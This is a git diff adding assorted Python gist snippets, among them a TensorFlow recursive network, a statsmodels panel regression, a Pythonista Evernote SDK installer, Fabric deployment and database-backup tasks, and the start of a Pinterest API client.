+db = Connection('/tmp/mysql.sock', 'database_name', user='root', password='root')
+# Connection over SSH, open a SSH tunnel with
+#     ssh -L 1234:localhost:3306 user@server.com
+# then connect to 127.0.0.1:1234
+
+# Retreive one object
+post = db.get("SELECT * FROM posts LIMIT 1")
+
+# Retreive several objects
+for post in db.query("SELECT * FROM posts"):
+    print post.title
+  
+# Insert one entry
+db.execute("INSERT INTO posts (user_id, content) VALUES (%s, %s)", 12, "hello world !")
+
+# Insert multiple entries
+values = [(12, "hello"), (17, "world"), (22, "blah")]
+db.executemany("INSERT INTO posts (user_id, content) VALUES (%s, %s)", values)
\ No newline at end of file
diff --git a/hard-gists/504768e05fda49a6e3338e798ae1cddd/._snippet.py b/hard-gists/504768e05fda49a6e3338e798ae1cddd/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/504768e05fda49a6e3338e798ae1cddd/._snippet.py differ
diff --git a/hard-gists/504768e05fda49a6e3338e798ae1cddd/snippet.py b/hard-gists/504768e05fda49a6e3338e798ae1cddd/snippet.py
new file mode 100644
index 00000000..582de639
--- /dev/null
+++ b/hard-gists/504768e05fda49a6e3338e798ae1cddd/snippet.py
@@ -0,0 +1,141 @@
+import types
+import tensorflow as tf 
+import numpy as np
+
+# Expressions are represented as lists of lists,
+# in lisp style -- the symbol name is the head (first element)
+# of the list, and the arguments follow.
+
+# add an expression to an expression list, recursively if necessary.
+def add_expr_to_list(exprlist, expr):
+	# if expr is a atomic type
+	if isinstance(expr, types.ListType):
+		# Now for rest of expression
+		for e in expr[1:]:
+			# Add to list if necessary
+			if not (e in exprlist):
+				add_expr_to_list(exprlist, e)
+	# Add index in list.
+	exprlist.append(expr)
+
+def expand_subexprs(exprlist):
+	new_exprlist = []
+	orig_indices = []
+	for e in exprlist:
+		add_expr_to_list(new_exprlist, e)
+		orig_indices.append(len(new_exprlist)-1)
+	return new_exprlist, orig_indices
+
+def compile_expr(exprlist, expr):
+	# start new list starting with head
+	new_expr = [expr[0]]
+	for e in expr[1:]:
+		new_expr.append(exprlist.index(e))
+	return new_expr
+
+def compile_expr_list(exprlist):
+	new_exprlist = []
+	for e in exprlist:
+		if isinstance(e, types.ListType):
+			new_expr = compile_expr(exprlist, e)
+		else:
+			new_expr = e
+		new_exprlist.append(new_expr)
+	return new_exprlist
+
+def expand_and_compile(exprlist):
+	l, orig_indices = expand_subexprs(exprlist)
+	return compile_expr_list(l), orig_indices
+
+def new_weight(N1,N2):
+	return tf.Variable(tf.random_normal([N1,N2]))
+def new_bias(N_hidden):
+	return tf.Variable(tf.random_normal([N_hidden]))
+
+def build_weights(exprlist,N_hidden,inp_vec_len,out_vec_len):
+	W = dict()  # dict of weights corresponding to each operation
+	b = dict()  # dict of biases corresponding to each operation
+	W['input']  = new_weight(inp_vec_len, N_hidden)
+	W['output'] = new_weight(N_hidden, out_vec_len)
+	for expr in exprlist:
+		if isinstance(expr, types.ListType):
+			idx = expr[0]
+			if not W.has_key(idx):
+				W[idx] = [new_weight(N_hidden,N_hidden) for i in expr[1:]]
+				b[idx] = new_bias(N_hidden)
+	return (W,b)
+
+def build_rnn_graph(exprlist,W,b,inp_vec_len):
+	# with W built up, create list of variables
+	# intermediate variables
+	in_vars = [e for e in exprlist if not isinstance(e,types.ListType)]
+	N_input = len(in_vars)
+	inp_tensor = tf.placeholder(tf.float32, (N_input,  inp_vec_len), name='input1')
+	V = []      # list of variables corresponding to each expr in exprlist
+	for expr in exprlist:
+		if isinstance(expr, types.ListType):
+			# intermediate variables
+			idx = expr[0]
+			# add bias
+			new_var = b[idx]
+			# add input variables * weights
+			for i in range(1,len(expr)):
+				new_var = tf.add(new_var, tf.matmul(V[expr[i]], W[idx][i-1]))
+			new_var = tf.nn.relu(new_var)
+		else:
+			# base (input) variables
+			# TODO : variable or placeholder?
+			i = in_vars.index(expr)
+			i_v = tf.slice(inp_tensor, [i,0], [1,-1])
+			new_var = tf.nn.relu(tf.matmul(i_v,W['input']))
+		V.append(new_var)
+	return (inp_tensor,V)
+
+# take a compiled expression list and build its RNN graph
+def complete_rnn_graph(W,V,orig_indices,out_vec_len):
+	# we store our matrices in a dict;
+	# the dict format is as follows:
+	# 'op':[mat_arg1,mat_arg2,...]
+	# e.g. unary operations:  '-':[mat_arg1]
+	#      binary operations: '+':[mat_arg1,mat_arg2]
+	# create a list of our base variables
+	N_output = len(orig_indices)
+	out_tensor = tf.placeholder(tf.float32, (N_output, out_vec_len), name='output1')
+
+	# output variables
+	ce = tf.reduce_sum(tf.zeros((1,1)))
+	for idx in orig_indices:
+		o = tf.nn.softmax(tf.matmul(V[idx], W['output']))
+		t = tf.slice(out_tensor, [idx,0], [1,-1])
+		ce = tf.add(ce, -tf.reduce_sum(t * tf.log(o)), name='loss')
+	# TODO: output variables
+	# return weights and variables and final loss
+	return (out_tensor, ce)
+
+
+# from subexpr_lists import *
+a = [ 1, ['+',1,1], ['*',1,1], ['*',['+',1,1],['+',1,1]], ['+',['+',1,1],['+',1,1]], ['+',['+',1,1],1 ], ['+',1,['+',1,1]]]
+# generate training graph
+l,o=expand_and_compile(a)
+W,b = build_weights(l,10,1,2)
+i_t,V = build_rnn_graph(l,W,b,1)
+o_t,ce = complete_rnn_graph(W,V,o,2)
+# generate testing graph
+a = [ ['+',['+',['+',1,1],['+',['+',1,1],['+',1,1]]],1] ]  # 7
+l_tst,o_tst=expand_and_compile(a)
+i_t_tst,V_tst = build_rnn_graph(l_tst,W,b,1)
+
+out_batch = np.transpose(np.array([[1,0,1,0,0,1,1],[0,1,0,1,1,0,0]]))
+print ce
+train_step = tf.train.GradientDescentOptimizer(0.001).minimize(ce)
+init = tf.initialize_all_variables()
+sess = tf.Session()
+sess.run(init)
+for i in range(5000):
+	sess.run(train_step, feed_dict={i_t:np.array([[1]]),o_t:out_batch})
+print l
+print l_tst
+print sess.run(tf.nn.softmax(tf.matmul(V[1], W['output'])), feed_dict={i_t:np.array([[1]])})
+print sess.run(tf.nn.softmax(tf.matmul(V[-1], W['output'])), feed_dict={i_t:np.array([[1]])})
+print sess.run(tf.nn.softmax(tf.matmul(V_tst[-2], W['output'])), feed_dict={i_t_tst:np.array([[1]])})
+print sess.run(tf.nn.softmax(tf.matmul(V_tst[-1], W['output'])), feed_dict={i_t_tst:np.array([[1]])})
diff --git a/hard-gists/5048588/._snippet.py b/hard-gists/5048588/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5048588/._snippet.py differ
diff --git a/hard-gists/5048588/snippet.py b/hard-gists/5048588/snippet.py
new file mode 100644
index 00000000..74d6a1b7
--- /dev/null
+++ b/hard-gists/5048588/snippet.py
@@ -0,0 +1,55 @@
+# Simple installer script for using the Evernote SDK in Pythonista
+# 
+# This script should be run from the root directory. In order to keep things
+# tidy, it installs the module and all its dependencies in a directory named
+# 'evernote-sdk'. In order to be able to import it, you have to add that to
+# your import path, like this:
+# 
+# import sys
+# sys.path.append('evernote-sdk')
+# 
+# (this assumes that the script is in the root directory.)
+
+import tarfile
+import shutil
+import urllib
+import os
+
+try:
+	os.mkdir('evernote-sdk')
+except:
+	pass
+
+print 'Downloading evernote...'
+filename, headers = urllib.urlretrieve('https://pypi.python.org/packages/source/e/evernote/evernote-1.23.2.tar.gz')
+print 'Installing evernote...'
+t = tarfile.open(filename, 'r')
+t.extractall()
+t.close()
+shutil.move('evernote-1.23.2/lib/evernote', 'evernote-sdk/evernote')
+shutil.move('evernote-1.23.2/lib/thrift', 'evernote-sdk/thrift')
+shutil.rmtree('evernote-1.23.2')
+
+print 'Downloading httplib2...'
+filename, headers = urllib.urlretrieve('https://pypi.python.org/packages/source/h/httplib2/httplib2-0.7.7.tar.gz')
+print 'Installing httplib2...'
+t = tarfile.open(filename, 'r')
+t.extractall()
+t.close()
+shutil.move('httplib2-0.7.7/python2/httplib2', 'evernote-sdk/httplib2')
+shutil.rmtree('httplib2-0.7.7')
+
+print 'Downloading oauth2...'
+filename, headers = urllib.urlretrieve('https://pypi.python.org/packages/source/o/oauth2/oauth2-1.5.211.tar.gz')
+print 'Installing oauth2...'
+t = tarfile.open(filename, 'r')
+t.extractall()
+t.close()
+shutil.move('oauth2-1.5.211/oauth2', 'evernote-sdk/oauth2')
+shutil.rmtree('oauth2-1.5.211')
+
+import editor
+editor.reload_files()
+
+print 'Done.'
+
diff --git a/hard-gists/5051911/._snippet.py b/hard-gists/5051911/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5051911/._snippet.py differ
diff --git a/hard-gists/5051911/snippet.py b/hard-gists/5051911/snippet.py
new file mode 100644
index 00000000..b4fd936e
--- /dev/null
+++ b/hard-gists/5051911/snippet.py
@@ -0,0 +1,14 @@
+import requests
+
+from django.core.files import File
+from django.core.files.temp import NamedTemporaryFile
+
+
+def save_image_from_url(model, url):
+    r = requests.get(url)
+
+    img_temp = NamedTemporaryFile(delete=True)
+    img_temp.write(r.content)
+    img_temp.flush()
+
+    model.image.save("image.jpg", File(img_temp), save=True)
\ No newline at end of file
diff --git a/hard-gists/5053686/._snippet.py b/hard-gists/5053686/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5053686/._snippet.py differ
diff --git a/hard-gists/5053686/snippet.py b/hard-gists/5053686/snippet.py
new file mode 100644
index 00000000..2d46f2e7
--- /dev/null
+++ b/hard-gists/5053686/snippet.py
@@ -0,0 +1,328 @@
+import scipy
+import numpy as np
+import pandas as pd
+import statsmodels.api as sm
+from statsmodels.tools.tools import chain_dot
+from statsmodels.tools.decorators import cache_readonly
+from statsmodels.regression.linear_model import (RegressionModel,
+                                                 RegressionResults)
+
+class Group():
+    def __init__(self, index_pandas=None, index_list=None):
+        '''
+        index_pandas pandas (multi-)index
+        index_list list of arrays, pandas series or lists, all of which are
+            of length nobs 
+        '''
+        if index_list != None:
+            try:
+                tup = zip(*args)
+                self.index = pd.MultiIndex.from_tuples(tup)
+            except:
+                raise Exception("index_list must be a list of lists, pandas series, \
+                        or numpy arrays, each of identitcal length nobs.") 
+        else:
+            self.index = index_pandas
+        self.nobs = len(self.index)
+        self.slices = None
+
+    def get_slices(self):
+        '''Only works on first index level'''
+        groups = self.index.get_level_values(0).unique()
+        self.slices = [self.index.get_loc(x) for x in groups]
+
+    def count_categories(self, level=0):
+        self.counts = np.bincount(self.index.labels[level])
+
+    def transform_dataframe(self, dataframe, function, level=0):
+        '''Apply function to each column, by group
+        Assumes that the dataframe already has a proper index'''
+        if dataframe.shape[0] != self.nobs:
+            raise Exception('dataframe does not have the same shape as index')
+        out = dataframe.groupby(level=level).apply(function)
+        if 1 in out.shape:
+            return np.ravel(out)
+        else:
+            return np.array(out)
+     
+    def transform_array(self, array, function, level=0):
+        '''Apply function to each column, by group'''
+        if array.shape[0] != self.nobs:
+            raise Exception('array does not have the same shape as index')
+        dataframe = pd.DataFrame(array, index=self.index)
+        return self.transform_dataframe(dataframe, function, level=level)
+
+    def transform_slices(self, array, function,  **kwargs):
+        '''Assumes array is a 1D or 2D numpy array'''
+        if array.shape[0] != self.nobs:
+            raise Exception('array does not have the same shape as index')
+        if self.slices == None:
+            self.get_slices()
+        processed = []
+        for s in self.slices:
+            if array.ndim == 2:
+                subset = array[s,:]
+            elif array.ndim == 1:
+                subset = array[s]
+            processed.append(function(subset, s, **kwargs))
+        return np.concatenate(processed)
+
+    def dummy_sparse(self, level=0):
+        '''create a sparse indicator from a group array with integer labels
+
+        Parameters
+        ----------
+        groups: ndarray, int, 1d (nobs,) an array of group indicators for each
+            observation. Group levels are assumed to be defined as consecutive
+            integers, i.e. range(n_groups) where n_groups is the number of
+            group levels. A group level with no observations for it will still
+            produce a column of zeros.
+
+        Returns
+        -------
+        indi : ndarray, int8, 2d (nobs, n_groups)
+            an indicator array with one row per observation, that has 1 in the
+            column of the group level for that observation
+
+        Examples
+        --------
+
+        >>> g = np.array([0, 0, 2, 1, 1, 2, 0])
+        >>> indi = dummy_sparse(g)
+        >>> indi
+        <7x3 sparse matrix of type '<type 'numpy.int8'>'
+            with 7 stored elements in Compressed Sparse Row format>
+        >>> indi.todense()
+        matrix([[1, 0, 0],
+                [1, 0, 0],
+                [0, 0, 1],
+                [0, 1, 0],
+                [0, 1, 0],
+                [0, 0, 1],
+                [1, 0, 0]], dtype=int8)
+
+
+        current behavior with missing groups
+        >>> g = np.array([0, 0, 2, 0, 2, 0])
+        >>> indi = dummy_sparse(g)
+        >>> indi.todense()
+        matrix([[1, 0, 0],
+                [1, 0, 0],
+                [0, 0, 1],
+                [1, 0, 0],
+                [0, 0, 1],
+                [1, 0, 0]], dtype=int8)
+
+        '''
+        
+        groups = self.index.labels[level]
+        indptr = np.arange(len(groups)+1)
+        data = np.ones(len(groups), dtype=np.int8)
+        self.dummies = scipy.sparse.csr_matrix((data, groups, indptr))
+
+class PanelLM(RegressionModel):
+    def __init__(self, endog, exog, method='pooling', effects='oneway',
+                 unit=None, time=None, hasconst=None, **kwargs):
+        if (time != None) and (unit != None):
+            self.groupings = Group(index_list=[unit, time])
+        else:
+            self.groupings = Group(index_pandas=endog.index)
+        self.endog = endog
+        self.exog = exog
+        self.method = method
+        self.effects = effects
+        if method == 'swar':
+            self.var_u, self.var_e, self.theta = swar_ercomp(self.endog, self.exog)
+        super(PanelLM, self).__init__(endog, exog, **kwargs)
+
+    def initialize(self, unit=None, time=None):
+        self.wexog = self.whiten(self.exog)
+        self.wendog = self.whiten(self.endog)
+        self.nobs = float(self.wexog.shape[0])
+        self.rank = np.rank(self.exog)
+        self.df_model = float(self.rank - self.k_constant)
+        if self.method == 'within':
+            self.df_resid = self.nobs - self.rank - self.groupings.index.levshape[0]
+        else:
+            self.df_resid = self.nobs - self.rank - 1
+        self.df_model = float(self.rank - self.k_constant)
+
+    def whiten(self, data):
+        g = self.groupings
+        if self.method == 'within':
+            f = lambda x: x - x.mean()
+            if (self.effects == 'oneway') or (self.effects == 'unit'):
+                out = g.transform_array(data, f, 0)
+                return out
+            elif (self.effects == 'time'):
+                out = g.transform_array(data, f, 1)
+                return out
+            elif (self.effects == 'twoways'):
+                out = g.transform_array(data, f, 0)
+                out = g.transform_array(data, f, 1)
+                return out
+            else:
+                raise Exception('Method must be unit, time, oneway, or twoways')
+        elif self.method == 'between':
+            f = lambda x: x.mean()
+            out = g.transform_array(data, f, 0)
+            return out
+        elif self.method == 'fd':
+            f = lambda x: (x - x.shift(1))[1:],
+            out = g.transform_array(data, f, 0)
+            return out
+        elif self.method == 'pooling':
+            return data
+        elif self.method == 'swar':
+            out = g.transform_slices(array=data, function=swar_transform,
+                                     theta=self.theta) 
+            return out
+
+    def fit(self, method="pinv", **kwargs):
+        wexog = self.wexog
+        self.pinv_wexog = pinv_wexog = np.linalg.pinv(wexog)
+        self.normalized_cov_params = np.dot(pinv_wexog, pinv_wexog.T)
+        beta = np.dot(self.pinv_wexog, self.wendog)
+        lfit = PanelLMResults(self, beta,
+                   normalized_cov_params=self.normalized_cov_params)
+        return lfit
+
+def swar_ercomp(y, X):
+    '''Swamy-Arora error decomposition'''
+    b = PanelLM(y, X, 'between').fit()
+    w = PanelLM(y, X, 'within').fit()
+    w.model.groupings.count_categories(level=0)
+    Ts = w.model.groupings.counts   
+    Th = scipy.stats.mstats.hmean(Ts)
+    var_e = w.ssr / (X.shape[0] - w.model.groupings.index.levshape[0] - X.shape[1] + 1)
+    var_u = b.ssr / (b.model.groupings.index.levshape[0] - X.shape[1]) - var_e / Th
+    var_u = max(var_u, 0)
+    Ts = np.concatenate([np.repeat(x,x) for x in Ts])
+    theta = 1 - np.sqrt(var_e / (Ts * var_u + var_e))
+    return var_e, var_u, np.array(theta)
+
+def swar_transform(subset, position, theta):
+    '''Apply to a sub-group of observations'''
+    n = subset.shape[0]
+    B = np.ones((n,n)) / n
+    out = subset - chain_dot(np.diag(theta[position]), B, subset)
+    return out
+
+class PanelLMResults(RegressionResults):
+    def __init__(self, model, params, normalized_cov_params=None):
+        super(PanelLMResults, self).__init__(model, params)
+        self.normalized_cov_params = normalized_cov_params
+
+    @cache_readonly
+    def bse(self):
+        if self.model.method == 'within':
+            scale = self.nobs - self.model.groupings.index.levshape[0] - self.df_model
+            scale = np.sum(self.wresid**2) / scale
+            bse = np.sqrt(np.diag(self.cov_params(scale=scale)))
+        else:
+            bse = np.sqrt(np.diag(self.cov_params()))
+        return bse
+
+    @cache_readonly
+    def ssr(self):
+        return np.sum(self.wresid**2)
+
+    @cache_readonly
+    def resid(self):
+        if (self.model.method == 'within') and not (self.model.panel_balanced):
+            Xb_bar = np.dot(self.model.exog.mean(axis=0), self.params)
+            alph = np.mean(self.model.endog) - Xb_bar
+            pred = alph + np.dot(self.model.exog, self.params)
+            resid = self.model.endog - pred
+        else:
+            resid = self.model.wendog - self.model.predict(self.params,
+                                                           self.model.wexog)
+        return resid
+
+    @cache_readonly
+    def fvalue(self):
+        f = self.mse_model/self.mse_resid
+        if self.model.method == 'between':
+            # TODO: Why is this correct (from Stata)?
+            f = f / 2.
+        return f
+
+    @cache_readonly
+    def scale(self):
+        wresid = self.wresid
+        return np.dot(wresid.T, wresid) / self.df_resid
+
+def pooltest(endog, exog):
+    '''Chow poolability test: F-test of joint significance for the unit dummies
+    in a LSDV model
+    
+    Returns
+    -------
+
+    F statistic for the null hypothesis that unit effects are zero.
+    p value
+    '''
+    # TODO: Does this assume balanced panels?
+    unrestricted = PanelLM(endog, exog, 'within').fit()
+    restricted = PanelLM(endog, exog, 'pooling').fit()
+    N = unrestricted.model.panel_N
+    T = unrestricted.model.panel_T
+    K = unrestricted.model.exog.shape[1]
+    urss = unrestricted.ssr
+    rrss = restricted.ssr 
+    F = ((rrss - urss) / (N-1)) / (urss / (N*T - N - K))
+    p = 1 - scipy.stats.distributions.f.cdf(F, N-1, N*(T-1)-K) 
+    return F, p
+
+
+from statsmodels.iolib.summary import summary_col
+from patsy import dmatrices
+def test(y, X):
+    mod1 = PanelLM(y, X, method='pooling').fit()
+    mod2 = PanelLM(y, X, method='between').fit()
+    mod3 = PanelLM(y, X.ix[:,1:], method='within').fit()
+    mod4 = PanelLM(y, X.ix[:,1:], method='within', effects='time').fit()
+    mod5 = PanelLM(y, X.ix[:,1:], method='within', effects='twoways').fit()
+    mod6 = PanelLM(y, X, 'swar').fit()
+    mn = ['OLS', 'Between', 'Within N', 'Within T', 'Within 2w', 'RE-SWAR']
+    out = summary_col([mod1, mod2, mod3, mod4, mod5, mod6], model_names=mn, stars=False)
+    return out
+url = 'http://vincentarelbundock.github.com/Rdatasets/csv/plm/EmplUK.csv'
+url = 'EmplUK.csv'
+gasoline = pd.read_csv(url).set_index(['firm', 'year'])
+f = 'emp~wage+capital'
+y, X = dmatrices(f, gasoline, return_type='dataframe')
+
+'''
+# Statsmodels
+
+================================================================
+            OLS    Between  Within N Within T Within 2w RE-SWAR 
+----------------------------------------------------------------
+Intercept  10.3598  10.5060                               9.0390
+          (1.2023) (3.3055)                             (1.1015)
+capital     2.1049   2.2673   0.8015   2.0999    0.7854   1.1564
+          (0.0441) (0.1136) (0.0641) (0.0470)  (0.0622) (0.0592)
+wage       -0.3238  -0.3371  -0.1436  -0.3334   -0.0955  -0.1589
+          (0.0487) (0.1338) (0.0328) (0.0527)  (0.0356) (0.0338)
+----------------------------------------------------------------
+N             1031      140     1031     1031      1031     1031
+R2           0.693    0.748    0.164    0.695     0.155    0.283
+================================================================
+Standard errors in parentheses.
+
+# Stata replication
+
+wget http://vincentarelbundock.github.com/Rdatasets/csv/plm/EmplUK.csv
+
+insheet using EmplUK.csv, clear
+xtset firm year
+xtreg emp wage capital, fe
+
+# R replication
+
+library(plm)
+dat = read.csv('EmplUK.csv')
+dat = pdata.frame(dat, c('firm', 'year'))
+mod = plm(emp ~ wage + capital, data=dat, model='within')
+'''
\ No newline at end of file
diff --git a/hard-gists/5055971/._snippet.py b/hard-gists/5055971/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5055971/._snippet.py differ
diff --git a/hard-gists/5055971/snippet.py b/hard-gists/5055971/snippet.py
new file mode 100644
index 00000000..7a4f7912
--- /dev/null
+++ b/hard-gists/5055971/snippet.py
@@ -0,0 +1,38 @@
+import web
+import json
+
+
+urls = (
+    '/', 'index',
+    '/random', 'random',
+    '/dump', 'dump'
+)
+
+class index:
+    def GET(self):
+        return "Hello, web.py!"
+
+class random:
+    def GET(self):
+        web.header('Content-Type', 'application/json')
+        return "{\"random\":\"444\"}"
+
+class dump:
+    def GET(self):
+        web.header('Content-Type', 'application/json')
+        web.header('Access-Control-Allow-Origin', '*')
+        import datetime
+        now = datetime.datetime.now()
+        import random
+        rand = 556
+        rand = random.randint(0,500)
+        data = [ { 'dateTime':str(now), 'random':rand} ]
+        data_string = json.dumps(data)
+        return data_string
+
+if __name__ == "__main__":
+    app = web.application(urls, globals())
+    app.run()
+
+app = web.application(urls, globals(), autoreload=False)
+application = app.wsgifunc()
\ No newline at end of file
diff --git a/hard-gists/5057356/._snippet.py b/hard-gists/5057356/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5057356/._snippet.py differ
diff --git a/hard-gists/5057356/snippet.py b/hard-gists/5057356/snippet.py
new file mode 100644
index 00000000..f934f58e
--- /dev/null
+++ b/hard-gists/5057356/snippet.py
@@ -0,0 +1,29 @@
+# Variation of the 'Basic Scene' template that shows every
+# touch in a different (random) color that stays the same
+# for the duration of the touch.
+
+from scene import *
+from colorsys import hsv_to_rgb
+from random import random
+
+class TouchColors (Scene):
+	def setup(self):
+		self.touch_colors = {}
+	
+	def draw(self):
+		background(0, 0, 0)
+		for touch in self.touches.values():
+			r, g, b = self.touch_colors[touch.touch_id]
+			fill(r, g, b)
+			ellipse(touch.location.x - 50, touch.location.y - 50, 100, 100)
+	
+	def touch_began(self, touch):
+		self.touch_colors[touch.touch_id] = hsv_to_rgb(random(), 1, 1)
+	
+	def touch_moved(self, touch):
+		pass
+
+	def touch_ended(self, touch):
+		del self.touch_colors[touch.touch_id]
+
+run(TouchColors())
diff --git a/hard-gists/5059989/._snippet.py b/hard-gists/5059989/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5059989/._snippet.py differ
diff --git a/hard-gists/5059989/snippet.py b/hard-gists/5059989/snippet.py
new file mode 100644
index 00000000..bd8c1d2d
--- /dev/null
+++ b/hard-gists/5059989/snippet.py
@@ -0,0 +1,29 @@
+from scene import *
+from time import time
+import sound
+
+MAX_DOUBLE_TAP_DELAY = 0.25
+
+class DoubleTapScene (Scene):
+	def setup(self):
+		self.last_touch_up_time = 0
+		self.double_tap_start_time = 0
+	
+	def touch_ended(self, touch):
+		if time() - self.last_touch_up_time < MAX_DOUBLE_TAP_DELAY:
+			sound.play_effect('Beep')
+			self.double_tap_start_time = time()
+			self.last_touch_up_time = 0
+		else:
+			self.last_touch_up_time = time()
+			
+	def draw(self):
+		background(0, 0, 0)
+		# Show message if a double-tap was detected:
+		if self.double_tap_start_time > 0:
+			text('Double Tap!', 'Helvetica', 50, self.size.w/2, self.size.h/2)
+			# Hide the message after 1 second:
+			if time() - self.double_tap_start_time > 1.0:
+				self.double_tap_start_time = 0
+
+run(DoubleTapScene())
diff --git a/hard-gists/5065738/._snippet.py b/hard-gists/5065738/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5065738/._snippet.py differ
diff --git a/hard-gists/5065738/snippet.py b/hard-gists/5065738/snippet.py
new file mode 100644
index 00000000..da4be381
--- /dev/null
+++ b/hard-gists/5065738/snippet.py
@@ -0,0 +1,188 @@
+# Mostly from django-fab-deploy
+
+import os
+import sys
+from datetime import datetime
+from subprocess import Popen, PIPE
+
+import yaml
+
+from fabric.api import env, run, sudo, task
+from fabric.context_managers import cd
+from fabric.contrib import files
+
+
+# Initialisation
+
+env.user = 'ubuntu'
+
+d = yaml.safe_load(Popen(['juju','status'],stdout=PIPE).stdout)
+
+services = d.get("services", {})
+if services is None:
+    sys.exit(0)
+
+env.roledefs = {}
+for service in services.items():
+    if service is None:
+        continue
+
+    units = services.get(service[0], {}).get("units", {})
+    if units is None:
+        continue
+
+    for unit in units.items():
+        if 'public-address' in unit[1].keys():
+            env.roledefs.setdefault(service[0], []).append(unit[1]['public-address'])
+
+# helpers
+
+def _config_get():
+    conf = Popen('jitsu run-as-hook %s/0 config-get' % (env.roles[0]),shell=True, stdout=PIPE).stdout
+    return eval(conf.read())
+
+def _relation_get(relation, relation_type):
+    res = Popen('jitsu run-as-hook %s/0 relation-ids %s' % (env.roles[0], relation_type),shell=True, stdout=PIPE).stdout
+    rel_id = res.read().strip()
+
+    conf = Popen('jitsu run-as-hook %s/0 relation-get -r %s' % (relation, rel_id),shell=True, stdout=PIPE).stdout
+    return eval(conf.read())
+
+
+# Debian
+@task()
+def apt_install(packages):
+    sudo('apt-get install -y %s' % packages)
+
+@task
+def apt_update():
+    sudo('apt-get update')
+
+@task
+def apt_dist_upgrade():
+    sudo('apt-get dist-upgrade -y')
+
+@task
+def apt_install_r():
+    sudo("apt-get install -y $(cat requirements.apt | tr '\\n' ' '")
+
+@task
+def pip_install(packages):
+    sudo("pip install %s" % packages)
+
+@task
+def pip_install_r():
+    sudo("pip install -r requirements.txt")
+
+# Users
+
+@task
+def adduser(username):
+    sudo('adduser %s --disabled-password --gecos ""' % username)
+
+@task
+def ssh_add_key(pub_key_file, username=None):
+    with open(os.path.normpath(pub_key_file), 'rt') as f:
+        ssh_key = f.read()
+
+    if username is None:
+        run('mkdir -p .ssh')
+        files.append('.ssh/authorized_keys', ssh_key)
+    else:
+        run('mkdir -p /home/%s/.ssh' % username)
+        files.append('/home/%s/.ssh/authorized_keys' % username, ssh_key)
+        run('chown -R %s:%s /home/%s/.ssh' % (username, username, username))
+
+
+# VCS
+
+@task
+def pull():
+    conf = _config_get()
+    with cd('/srv/%s/' % env.roles[0]):
+        if conf['vcs'] is 'bzr':
+            run('bzr pull %s' % conf['repos_url'])
+        if conf['vcs'] is 'git':
+            run('git pull %s' % conf['repos_url'])
+        if conf['vcs'] is 'hg':
+            run('hg pull -u %s' % conf['repos_url'])
+        if conf['vcs'] is 'svn':
+            run('svn up %s' % conf['repos_url'])
+
+        delete_pyc()
+    reload()
+
+
+# Gunicorn
+
+@task
+def reload():
+    sudo('invoke-rc.d gunicorn reload')
+
+
+# Django
+
+@task
+def manage(command):
+    run('python manage.py ' + command)
+
+@task
+def migrate(params='', do_backup=True):
+    if do_backup is True:
+        db_backup('before-migrate')
+    manage('migrate --noinput %s' % params)
+
+@task
+def syncdb(params=''):
+    """ Runs syncdb management command. """
+    manage('syncdb --noinput %s' % params)
+
+@task
+def collectstatic(params=''):
+    manage('collectstatic --noinput %s' % params)
+
+
+# DB
+
+def _get_dump_filename(backup_dir):
+    now = datetime.now().strftime('%Y.%m.%d-%H.%M')
+    filename = '%s%s.sql' % (backup_dir, now)
+    return filename
+
+@task
+def db_list():
+    run('find /srv/%s/backups/ -name *.gz' % env.roles[0])
+
+@task
+def db_backup(name):
+    backup_dir = '/srv/%s/backups/%s/' % (env.roles[0], name)
+    run('mkdir -p ' + backup_dir)
+
+    conf = _relation_get('postgresql', 'db')
+    conf['filename'] = _get_dump_filename(backup_dir)
+
+    if 'port' not in conf.keys(): conf['port'] = '5432'
+
+    cmd = 'PGPASSWORD="%(password)s" pg_dump --username=%(user)s --host=%(host)s --port=%(port)s %(database)s | gzip -3 > %(filename)s.gz' % conf
+    run(cmd)
+
+@task
+def db_restore(name):
+    backup_file = '/srv/%s/backups/%s' % (env.roles[0], name) 
+
+    conf = _relation_get('postgresql', 'db')
+    conf['filename'] = backup_file
+
+    if 'port' not in conf.keys(): conf['port'] = '5432'
+
+    cmd = 'gunzip -c %(filename)s | PGPASSWORD="%(password)s" psql --username=%(user)s --host=%(host)s --port=%(port)s %(database)s' % conf
+    run(cmd)
+
+
+# Utils
+
+@task
+def delete_pyc():
+    """ Deletes *.pyc files from project source dir """
+    run("find . -name '*.pyc' -delete")
+ 
\ No newline at end of file
diff --git a/hard-gists/5071300/._snippet.py b/hard-gists/5071300/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5071300/._snippet.py differ
diff --git a/hard-gists/5071300/snippet.py b/hard-gists/5071300/snippet.py
new file mode 100644
index 00000000..ce006750
--- /dev/null
+++ b/hard-gists/5071300/snippet.py
@@ -0,0 +1,119 @@
+#!/usr/bin/env python
+# -*- encoding: utf-8 -*-
+# vim: set et sw=4 ts=4 sts=4 ff=unix fenc=utf8:
+# Author: Binux<i@binux.me>
+#         http://binux.me
+# Created on 2013-03-02 20:47:08
+
+import os
+import re
+import sys
+import logging
+import requests
+from PIL import Image
+
+class PinterestAPI(object):
+    def __init__(self):
+        self.origin = 'http://pinterest.com'
+        self.ua = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.19 Safari/537.31'
+
+    @property
+    def headers(self):
+        return {'Cookie': self.cookie,
+                'Origin': self.origin,
+                'User-Agent': self.ua, }
+
+    def login(self, cookie=None):
+        if not cookie:
+            cookie = raw_input('Cookie: ')
+        self.cookie = cookie
+        self.csrf = re.search('csrftoken=(\w+)', cookie).group(1)
+
+    def bookmark(self, board, caption, media_url, url):
+        data = {
+                'title': 'Create New Board',
+                'board': board,
+                'caption': caption,
+                'tags': '',
+                'replies': '',
+                'buyable': '',
+                'media_url': media_url,
+                'url': url,
+                'via': '',
+                'csrfmiddlewaretoken': self.csrf,
+                'form_url': '/pin/create/bookmarklet/',
+                }
